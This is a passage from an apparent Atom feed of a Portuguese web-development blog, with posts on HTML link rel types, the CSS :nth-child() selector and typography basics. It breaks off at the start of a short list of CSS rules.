&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;author&quot;&gt;Author&lt;/h3&gt;

&lt;p&gt;O author mostra para o navegador que o link leva para informações sobre o autor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Linkando o autor de uma página inteira&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;h1&amp;gt;Minha página&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;Essa página foi criada por mim&amp;lt;/p&amp;gt;
    &amp;lt;a rel=&quot;author&quot; href=&quot;filipelinhares.html&quot;&amp;gt;
      Sobre mim
    &amp;lt;/a&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A maioria das vezes só uma parte da página é de um autor. Nesse caso o link com &lt;em&gt;author&lt;/em&gt; deve se referir ao autor que escrever o conteúdo dentro do elemento &lt;em&gt;article&lt;/em&gt; que envolve todo o conteúdo.&lt;/p&gt;

&lt;p&gt;Em sites de noticias a maioria dos artigos são escritos por jornalistas. Mas outras coisas na página podem ser escritas por qualquer um. Os comentários na página por exemplo, é escrito pelos leitores do artigo. Nesse caso, a marcação pode ser feita assim:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
  &amp;lt;body&amp;gt;
    &amp;lt;article&amp;gt;
      &amp;lt;!-- Essa parte foi postada por alguém --&amp;gt;
      &amp;lt;h1&amp;gt;O post de um convidado&amp;lt;/h1&amp;gt;
      &amp;lt;p&amp;gt;Esse post é do Fulano&amp;lt;/p&amp;gt;
      &amp;lt;a rel=&quot;author&quot; href=&quot;fulano.html&quot;&amp;gt;
        Fulano
      &amp;lt;/a&amp;gt;
    &amp;lt;/article&amp;gt;

    &amp;lt;!-- Comentários --&amp;gt;
    &amp;lt;h1&amp;gt;Comentários&amp;lt;/h1&amp;gt;
    &amp;lt;article&amp;gt;
      &amp;lt;a rel=&quot;author&quot; href=&quot;visitante.html&quot;&amp;gt;
        O visitante
      &amp;lt;/a&amp;gt;
      &amp;lt;p&amp;gt;Esse comentário foi escrito pelo Visitante&amp;lt;/p&amp;gt;
    &amp;lt;/article&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;bookmark&quot;&gt;Bookmark&lt;/h3&gt;

&lt;p&gt;O bookmark diz para o navegador que o link leva para um &lt;strong&gt;&lt;em&gt;permalink&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Esse link é muito útil em home pages de blogs ou site de notícias.&lt;/p&gt;

&lt;p&gt;A seguir temos o exemplo de dois blog posts que levam para permalinks.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;!-- Post #1 --&amp;gt;
&amp;lt;article&amp;gt;
  &amp;lt;h1&amp;gt;Post 1&amp;lt;/h1&amp;gt;
  &amp;lt;a rel=&quot;bookmark&quot; href=&quot;post-1.html&quot;&amp;gt;
     Leia mais
  &amp;lt;/a&amp;gt;
&amp;lt;/article&amp;gt;

&amp;lt;!-- Blog Post #2 --&amp;gt;
&amp;lt;article&amp;gt;
  &amp;lt;h1&amp;gt;Post #2&amp;lt;/h1&amp;gt;
  &amp;lt;a rel=&quot;bookmark&quot; href=&quot;post-2.html&quot;&amp;gt;
    Leia mais
  &amp;lt;/a&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;help&quot;&gt;Help&lt;/h3&gt;

&lt;p&gt;O help diz para o navegador que o link leva para uma página que contem informações úteis.&lt;/p&gt;

&lt;p&gt;Ao usar o help, o conteúdo referenciado devem ser específicos ao contexto. Em outras palavras, o link deve apontar para informações específicas de ajuda sobre o elemento HTML pai que contém o hiperlink.&lt;/p&gt;

&lt;h3 id=&quot;license&quot;&gt;License&lt;/h3&gt;

&lt;p&gt;O license pode ser usado em ligações indo para os termos de licenciamento do conteúdo principal da página web.&lt;/p&gt;

&lt;p&gt;Este tipo de ligação deve ser usado dentro de marcas principais para que você possa definir quais partes da página web estão cobertos pela licença. A licença só é aplicável aos conteúdos do elemento principal pai.&lt;/p&gt;

&lt;p&gt;A marcação abaixo representa três imagens. No entanto, apenas um deles está licenciado sob a Dedicação Creative Commons Public Domain (CC0).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Use essa foto grátis!&amp;lt;/h1&amp;gt;
&amp;lt;main&amp;gt;
  &amp;lt;img src=&quot;foto.jpg&quot; /&amp;gt;
  &amp;lt;p&amp;gt;
      License:&amp;lt;a rel=&quot;license&quot; href=&quot;https://creativecommons.org/publicdomain/zero/1.0/&quot;&amp;gt;
  CC0
    &amp;lt;/a&amp;gt;
  &amp;lt;/p&amp;gt;
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;nofollow&quot;&gt;Nofollow&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;nofollow&lt;/em&gt; é para especificar que o link em sua página é algo que você não “aprova”, porque você foi recompensado para colocá-lo lá.&lt;/p&gt;

&lt;h3 id=&quot;links-gerados-por-usuários&quot;&gt;Links gerados por usuários&lt;/h3&gt;

&lt;p&gt;Um lugar para usar o tipo de link &lt;em&gt;nofollow&lt;/em&gt; é em links gerado pelo usuário. Os comentários de um post de blog, ou as respostas em sites de Q &amp;amp; A como StackOverflow são todos os candidatos para este tipo de ligação.&lt;/p&gt;

&lt;p&gt;Esses links foram colocados na página por outra pessoa. Como o proprietário do site, você não pode sempre apoiar ou endossar as ligações seus usuários estão compartilhando em seu site.&lt;/p&gt;

&lt;p&gt;Neste caso, o tipo de link &lt;em&gt;nofollow&lt;/em&gt; diz aos motores de busca o proprietário do site pode não ter revisto o link e / ou o proprietário do site não endossa o link.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Comentários&amp;lt;/h1&amp;gt;
&amp;lt;article&amp;gt;
  &amp;lt;h2 class=&quot;commenter&quot;&amp;gt;Comentado pelo Fulano&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;
    Gostei do seu blog, poderia dar uma olhada no meu?
    &amp;lt;a rel=&quot;nofollow&quot; href=&quot;http://meublog.com&quot;&amp;gt;meublog&amp;lt;/a&amp;gt;.
  &amp;lt;/p&amp;gt;
&amp;lt;/article&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Paid Links&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Outro uso do tipo de link nofollow é para links pagos. Geralmente estes são propagandas. Se o proprietário do site colocou um link em uma página web, principalmente por causa de um relacionamento / fins lucrativos comercial com a página vinculada, em seguida, definir o destino como um nofollow é a coisa apropriada a fazer.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;a rel=&quot;nofollow&quot; href=&quot;http://ad.com&quot;&amp;gt;Um link de propaganda&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;noreferrer&quot;&gt;Noreferrer&lt;/h3&gt;

&lt;p&gt;O tipo de link &lt;em&gt;noreferrer&lt;/em&gt; é usado em hiperlinks que, quando clicado, não “contam” a página de destino que o usuário veio de sua página web.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;a rel=&quot;noreferrer&quot; href=&quot;http://faceup.com&quot;&amp;gt;Não diga que fui eu!&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quando você clica em um link com um tipo de link &lt;em&gt;noreferrer&lt;/em&gt;, o navegador não deve incluir o cabeçalho HTTP Referer, que pode ser usado pelos proprietários do site para rastrear onde os usuários veio.&lt;/p&gt;

&lt;h3 id=&quot;prefetch&quot;&gt;Prefetch&lt;/h3&gt;

&lt;p&gt;O &lt;em&gt;prefetch&lt;/em&gt; deve ser usado quando você está apontando para recursos externos que o usuário provavelmente irá precisar. Diz aos browsers para carregar a página antes mesmo de o usuário clica no link.&lt;/p&gt;

&lt;p&gt;Por exemplo, você pode ter uma galeria de imagens. Quando o usuário clica em uma imagem, você vai exibir uma versão ampliada da imagem.&lt;/p&gt;

&lt;p&gt;Para uma experiência mais rápido, você pode instruir o navegador para armazenar em cache a versão maior da imagem de modo que ele está pronto quando o usuário quer.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;a rel=&quot;prefetch&quot; href=&quot;large.jpg&quot; title=&quot;Veja a imagem ampliada&quot;&amp;gt;&amp;lt;img src=&quot;small.jpg&quot; alt=&quot;A imagem pequena&quot; /&amp;gt;&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;search&quot;&gt;Search&lt;/h3&gt;

&lt;p&gt;O tipo &lt;em&gt;search&lt;/em&gt; aponta para uma interface de pesquisa para a página web. Esta interface de busca pode ser um formulário de pesquisa in-page ou outra página web que pode pesquisar a página atual (e as páginas relacionadas).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;!-- link to the in-page search form --&amp;gt;
&amp;lt;a rel=&quot;search&quot; href=&quot;#search&quot;&amp;gt;
  Busque nessa página&amp;lt;/a&amp;gt;

&amp;lt;!-- search form --&amp;gt;
&amp;lt;form id=&quot;search&quot;&amp;gt;
  &amp;lt;label for=&quot;search-term&quot;&amp;gt;Enter your search term&amp;lt;/label&amp;gt;
  &amp;lt;input id=&quot;search-term&quot; type=&quot;search&quot; /&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;tag&quot;&gt;Tag&lt;/h3&gt;

&lt;p&gt;O &lt;em&gt;tag&lt;/em&gt; pode ser utilizado para apontar para a categoria ou palavra-chave que corresponde ao conteúdo da página.&lt;/p&gt;

&lt;p&gt;Por exemplo, este guia que você está lendo agora é classificado na categoria HTML.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;p&amp;gt;
  This guide is under the
  &amp;lt;a rel=&quot;tag&quot; href=&quot;[https://medium.com/tag/h](https://medium.com/tag/apple)tml&quot;&amp;gt;HTML&amp;lt;/a&amp;gt; category.
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;next-and-prev&quot;&gt;Next and Prev&lt;/h3&gt;

&lt;p&gt;*next *e *prev *aponta para a próxima página em uma série de páginas.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;prev&lt;/em&gt; vai para a página anterior da série.&lt;/p&gt;

&lt;p&gt;Vamos dizer que nós temos uma série de posts em quatro partes. Estamos no segundo artigo dessa série. No final dos artigos, nós temos uma lista de todos os links que apontam para outros membros da série.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;h1&amp;gt;Essa é a parte 2 de uma série de 4.&amp;lt;/h1&amp;gt;
&amp;lt;ol&amp;gt;
  &amp;lt;li&amp;gt;
    &amp;lt;a rel=&quot;prev&quot; href=&quot;1st.html&quot;&amp;gt;Part 1&amp;lt;/a&amp;gt;
  &amp;lt;/li&amp;gt;

  &amp;lt;!-- we&apos;re here --&amp;gt;
  &amp;lt;li&amp;gt;
    &amp;lt;strong&amp;gt;Part 2&amp;lt;/strong&amp;gt; (this page)
  &amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;
    &amp;lt;a rel=&quot;next&quot; href=&quot;3rd.html&quot;&amp;gt;Part 3&amp;lt;/a&amp;gt;
  &amp;lt;/li&amp;gt;
  &amp;lt;li&amp;gt;
    &amp;lt;a href=&quot;4th.html&quot;&amp;gt;Part 4&amp;lt;/a&amp;gt;
  &amp;lt;/li&amp;gt;
&amp;lt;/ol&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Assim seu código fica mais semântico e com isso ajuda na acessibilidade da também ❤&lt;/p&gt;

&lt;p&gt;Agora quando vocês for usar os diferentes tipos de links pensa duas vezes e lembra desse post.&lt;/p&gt;

&lt;h2 id=&quot;leitura-extra&quot;&gt;Leitura extra&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://microformats.org/wiki/existing-rel-values#HTML5_link_type_extensions&quot;&gt;HTML5 link type extensions&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://developer.apple.com/library/ios/documentation/AppleApplications/Reference/SafariWebContent/ConfiguringWebApplications/ConfiguringWebApplications.html&quot;&gt;Apple custom link types&lt;/a&gt; - &lt;a href=&quot;https://mathiasbynens.be/notes/touch-icons&quot;&gt;other example of custom rel&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Como funciona o seletor :nth-child()</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2015/como-funciona-nth-child.html"/>
   <updated>2015-07-04T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2015/como-funciona-nth-child</id>
   <content type="html">&lt;h1 id=&quot;como-funciona-o-seletor-nth-child&quot;&gt;Como funciona o seletor :nth-child()&lt;/h1&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;element:nth-child(3n+3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;muita-gente-assim-como-eu-um-dia-se-perguntou--o-que-é-esse-n-ai-no-meio&quot;&gt;Muita gente, assim como eu, um dia se perguntou — O que é esse “n” ai no meio?&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;element:nth-child(3n+3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;O que o código acima faz, é selecionar cada terceiro elemento, ou seja, o 3º, 6º, 9º.&lt;/p&gt;

&lt;iframe src=&quot;https://medium.com/media/2715663be780eb5d2bb3f7e8036a80e2&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;

&lt;h2 id=&quot;mas-o-que-acontece-entre-os-parênteses&quot;&gt;Mas o que acontece entre os parênteses?&lt;/h2&gt;

&lt;p&gt;O seletor nth-child() aceita duas palavras-chaves, “odd” (impar) e “even” (par). Como o nome já diz, odd seleciona cada número impar e o even cada número par.&lt;/p&gt;

&lt;iframe src=&quot;https://medium.com/media/75f4d8a4a41da1a2e6908ffd5ecc7d4a&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;Como visto no primeiro exemplo, nth-child() também aceita &lt;strong&gt;expressões&lt;/strong&gt;. A expressão mais simples que podemos utilizar é utilizar apenas um número, isso ira selecionar apenas o elemento que corresponder aquele número.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;element:nth-child(5)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mas agora vamos voltar para o exemplo do começo, a expressão 3n+3, que seleciona cada terceiro elemento.&lt;/p&gt;

&lt;p&gt;Para entender, basta pensar que o &lt;strong&gt;n&lt;/strong&gt; é o número &lt;strong&gt;0&lt;/strong&gt; que vai incrementando de um em um por cada inteiro positivo (1, 2, 3, 4). Para completar a expressão, multiplique o número ao lado do &lt;strong&gt;n **por **n&lt;/strong&gt;, (3xn) + 3. Veja o exemplo abaixo que fica muito mais fácil de entender.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;:nth-child(3n+3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;(3 x 0) + 3 = 3 (3º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(3 x 1) + 3 = 6 (6º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(3 x 2) + 3 = 9 (9º elemento)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Você também pode usar o operador de subtração:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;:nth-child(4n-1)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;(4 x 0) — 1 = -1 (nenhum elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(4 x 1) — 1 = 3 (3º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;(4 x 2) — 1 = 7 (7º elemento)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Usar -n fica meio estranho mas também é possível:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;:nth-child(-n+3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;-0 + 3 = 3 (3º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;-1 + 3 = 2 (2º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;-2 + 3 = 1 (1º elemento)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;-3 + 3 = 0 (nenhum elemento)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Fonte: &lt;a href=&quot;http://www.sitepoint.com/web-foundations/understanding-nth-child-pseudo-class-expressions&quot;&gt;Sitepoint&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published at &lt;a href=&quot;http://blog.filipelinhares.com/como-funciona-o-nthchild&quot;&gt;blog.filipelinhares.com&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Estudos sobre design • Tipografia</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2015/tipografia.html"/>
   <updated>2015-03-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2015/tipografia</id>
   <content type="html">&lt;p&gt;Após uma “pausa” nos códigos passei um tempo estudando sobre design. Separei algumas anotações sobre alguns temas e vou compartilhar com vocês.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2006/1*TdTrYdOi4W7TD7MdxrtTng.png&quot; alt=&quot;Minha mesmo :D&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;o-básico&quot;&gt;O básico&lt;/h2&gt;

&lt;blockquote&gt;
  &lt;p&gt;ps: Vou usar os termos em inglês.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;O tamanho da letra, também conhecido como &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Cap Height&lt;/code&gt;, é o tamanho total das letras capitalizadas.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;O &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Ascender&lt;/code&gt; é a “perninha” de cima de algumas letras, como o h, l, t, b, d, e k.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;O &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Descender&lt;/code&gt; é a “perninha” de baixo das letras como g, q, e y.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;O &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Counter&lt;/code&gt; é o espaço em branco no meio de algumas letras o e p.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;O &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X Height&lt;/code&gt; é a altura da letra, mas não inclui &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ascender&lt;/code&gt; nem &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;descender&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Baseline&lt;/code&gt; é a parte mais abaixo da letra, onde o p e y estão em cima.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*HCT0Wb-a0Fm5m6ybn0nfNw.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kerning&lt;/code&gt; é o espaço entre cada letra.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Leading&lt;/code&gt; é o espaço entre as linhas do texto.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;alinhamento&quot;&gt;Alinhamento&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/2428/1*Ar3xkFV-FL-SMQQR9xgRug.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Por padrão a escrita é do lado &lt;strong&gt;esquerdo&lt;/strong&gt; para fazer textos simples de ler, manuscritos, e parágrafos básicos, como os usados nesse artigo.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Texto &lt;strong&gt;centralizado&lt;/strong&gt; é usado para chamar atenção do leitor, e é usado na maioria das vezes em cabeçalhos e títulos.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Alinhamento a &lt;strong&gt;direita&lt;/strong&gt; tem um look profissional, é usado um pouco em letras de indústrias, endereço de retorno, cartões de visita ou em outras aplicações que é necessário um alinhamento mais formal.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Justificado&lt;/strong&gt; é sempre visto em jornais e é mais complicado de trabalhar. Esse alinhamento cria um perfeito alinhamento do lado direito e esquerdo sem mexer com a quantidade de caracteres.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tipos-de-fontes&quot;&gt;Tipos de fontes&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Serif&lt;/strong&gt; tem extensões ou linhas. Times New Roman é um exemplo perfeito. Essa fonte é ótima para leituras extensas.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;**Sans-serif **não tem extensões ou linhas, é muito usada para marcação, títulos ou cabeçalhos. Também é fácil com um tom um pouco mais contemporâneo.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Script&lt;/strong&gt;, símbolos ou fontes decorativas são usados para criar uma específica imagem ou mensagem.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;dicas&quot;&gt;Dicas&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Use &lt;em&gt;italicas&lt;/em&gt; ou &lt;strong&gt;negritos&lt;/strong&gt; para marcar conteúdo que você queira destaque.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;A fonte que você escolher não deve receber toda atenção. Fontes são como joias para ser colocada apenas no contexto certo para receber o melhor receitado.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Tenha cuidado ao misturar fontes. É como misturar listras e xadrez, na dúvida, fique com algo mais conservador, em seguida adicione um toque a mais.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Use a consistência em seus layouts. Se você começar a usar um tipo de letra Arial para os cabeçalhos, fique com a mesma fonte em toda a peça.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Newsletters com colunas ficará melhor se você usar o alinhamento justificado. Certifique-se de que você não criar rios de espaço em branco no entanto.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Usar cores para dar ênfase. Lembre-se, vermelho chamará mais atenção, se usado corretamente. É impressionante o que uma mancha de vermelho pode fazer para um anúncio comum.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;leia-também&quot;&gt;Leia também&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://github.com/filipelinhares/typography-guide&quot;&gt;Typography guide&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I &lt;a href=&quot;http://ilovetypography.com/&quot;&gt;love typography&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;https://www.englishclub.com/writing/caps0.htm&quot;&gt;When to use Capital Letter&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://www.thinkingwithtype.com&quot;&gt;Thinking with type&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href=&quot;http://typogui.de/&quot;&gt;Typoguide.io&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>CSS (and SASS) Club</title>
   <link href="https://github.com/filipelinhares/jekyll-marlene/2015/css-club.html"/>
   <updated>2015-03-28T00:00:00+00:00</updated>
   <id>https://github.com/filipelinhares/jekyll-marlene/2015/css-club</id>
   <content type="html">&lt;p&gt;&lt;img src=&quot;https://cdn-images-1.medium.com/max/3840/1*Bfp9qwD2x2-bQcFzdKly3A.jpeg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The rules to keep your CSS awesome.&lt;/p&gt;

&lt;h3 id=&quot;rule-1&quot;&gt;Rule #1&lt;/h3&gt;

&lt;p&gt;Keep stylesheets maintainable&lt;/p&gt;

&lt;h3 id=&quot;rule-2&quot;&gt;Rule #2&lt;/h3&gt;

&lt;p&gt;Keep code transparent, sane, and readable;&lt;/p&gt;

&lt;h3 id=&quot;rule-3&quot;&gt;Rule #3&lt;/h3&gt;

&lt;p&gt;Keep stylesheets scalable.&lt;/p&gt;

&lt;h3 id=&quot;rule-4&quot;&gt;Rule #4&lt;/h3&gt;

